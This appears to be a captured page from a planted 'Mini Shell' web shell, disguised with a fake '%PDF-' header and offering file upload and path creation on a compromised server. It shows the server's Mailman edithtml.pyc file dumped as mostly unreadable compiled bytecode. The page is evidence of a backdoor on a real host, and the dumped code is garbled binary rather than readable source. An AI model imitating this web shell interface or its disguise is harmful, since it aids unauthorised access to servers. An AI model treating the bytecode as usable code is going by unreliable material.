%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/mailman/Mailman/Cgi/
Upload File :
Create Path :
Current File : //lib/mailman/Mailman/Cgi/edithtml.pyc

�
��ac@s�dZddlZddlZddlZddlZddlmZddlmZddlTddl	m
Z
ddlmZddlm
Z
dd	lmZdd
lmZddlmZejZejejfZd�Zd
�Zd�ZdS(sCScript which implements admin editing of the list's html templates.i����N(tUtils(tMailList(t*(t
HTMLFormatter(tErrors(tAuth(tsyslog(ti18n(t
csrf_checkcCs�d�}d|d�fd|d�fd|d�fd|d	�fd
|d�ff}tj}t�}tjtj�|jtj�tj�}|s�|jt	d|d
���|j
�GHdS|dj�}ytj|dd�}Wnet
jk
rY}tj|�}|jt	d|d���dGH|j
�GHtdd||�dSXtj|j�|j|j�tj�}dddg}	|j�}
t|
�t|	�r�t||jd�d�}nt}|jd�rdtjd<t}n|jtjtjf|jdd��s}|jd�r]tt d|d���j
�}nd}t!j"|dd|�dS|j#}
t$|�dkrK|d}x||D];\}}||kr�||�}|j%|d��Pq�q�Wtj|�}|j%|d ��|jt	d|d!���|j|j&��|j
�GHdSn�|j%|d"��|jt	d|d"���|jt	d|d#���t'�}xG|D]?\}}t(|j)d$�d%|||��}|j|�q�W|jt d&|��|j|j&��|j
�GHdSzU|j�rb|rLt*||||�qb|j+|d'��nt,||||�Wd|j|j&��|j
�GHXdS((NcSs|S(N((ts((sb/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Cgi/edithtml.pyt_,ss
listinfo.htmlsGeneral list information pagessubscribe.htmlsSubscribe results pagesoptions.htmlsUser specific options pagessubscribeack.txtsWelcome email text filesmasthead.txtsDigest mastheadisList name is required.itlocks&No such list <em>%(safelistname)s</em>sStatus: 404 Not FoundterrorsNo such list "%s": %stVARHELPtadminpwtadmlogint
csrf_tokentadminttHTTP_COOKIEs+1sAuthorization failed.tmsgis/%(realname)s -- Edit html for %(template_info)ssEdit HTML : Errors&%(safetemplatename)s: Invalid templates!%(realname)s -- HTML Page EditingsSelect page to edit:tedithtmlt/s+2s6The form lifetime has expired. (request forgery check)(-RR
tDocumenttset_languagetmm_cfgtDEFAULT_SERVER_LANGUAGERt
GetPathPiecestAddItemtHeadertFormattlowerRRtMMListErrortwebsafeRtpreferred_languagetcgitFieldStoragetkeystsetRtgetvaluetTruetostenvirontWebAuthenticatet
AuthListAdmint
AuthSiteAdminthas_keytBoldtFontSizeRt	loginpaget	real_nametlentSetTitletGetMailmanFootert
UnorderedListtLinktGetScriptURLt
ChangeHTMLtaddErrort
FormatHTML(R
t
template_datatdoctpartstlistnametmlisttetsafelistnametcgidatatsafe_paramstparamstcsrf_checkedRtrealnamet
template_namettemplatetinfot
template_infotsafetemplatenamet
template_listtl((sb/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Cgi/edithtml.pytmain)s�			
		$	
	
	&cCs8|jtdd|j��|jtd|��|jd�t|jd�td��}|jtd|��|jd�|jd�t|jd�d	|d
|dt�}t	j
|ddd
|�}|jtd
|dddd��|jdtd��|jtdtd���|j|�dS(Nis%s:s<hr>Rs0View or edit the list configuration information.s+1s<p>RRR@tcontextstrawt	html_codetrowsi(tcolsiKs#When you are done making changes...tsubmitsSubmit Changes(
RRR2R7R8R
R0tFormt
AUTH_CONTEXTSRtmaketexttTextAreatSubmitButton(R@R=RHRKtlinktformttext((sb/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Cgi/edithtml.pyR;�s


"c	Cs�|jd�sX|jtdtd���|jtdtd���|jd�dS|dj}tj|�r�|jtdtd���|jtd��|jtdtd	���|jtdtd
���|jd�dStj	j
|j�|j�}tj
d�}zFytj|d�Wn+tk
r]}|jtjkr^�q^nXWdtj
|�Xttj	j
||�d
�}z|j|�Wd|j�X|jtdtd���|jd�dS(NRRisCan't have empty html page.sHTML Unchanged.s<hr>s
The page you saved contains suspicious HTML that could
potentially expose your users to cross-site scripting attacks.  This change
has therefore been rejected.  If you still want to make these changes, you
must have shell access to your Mailman server.
             sSee shttp://wiki.list.org/x/jYA9s	FAQ 4.48.sPage Unchanged.ii�twsHTML successfully updated.(R.RRR
tvalueRtsuspiciousHTMLR7R)tpathtjointfullpathR"tumasktmkdirtOSErrorterrnotEEXISTtopentwritetclose(	R@tcgi_infoRHR=tcodetlangdirtomaskRAtfp((sb/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Cgi/edithtml.pyR9�s@


	
(t__doc__R)R#RgtretMailmanRRtMailman.htmlformattMailman.HTMLFormatterRRtMailman.CgiRtMailman.Logging.SyslogRRtMailman.CSRFcheckRR
RR,R-RWROR;R9(((sb/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Cgi/edithtml.pyt<module>s$
		t	

Zerion Mini Shell 1.0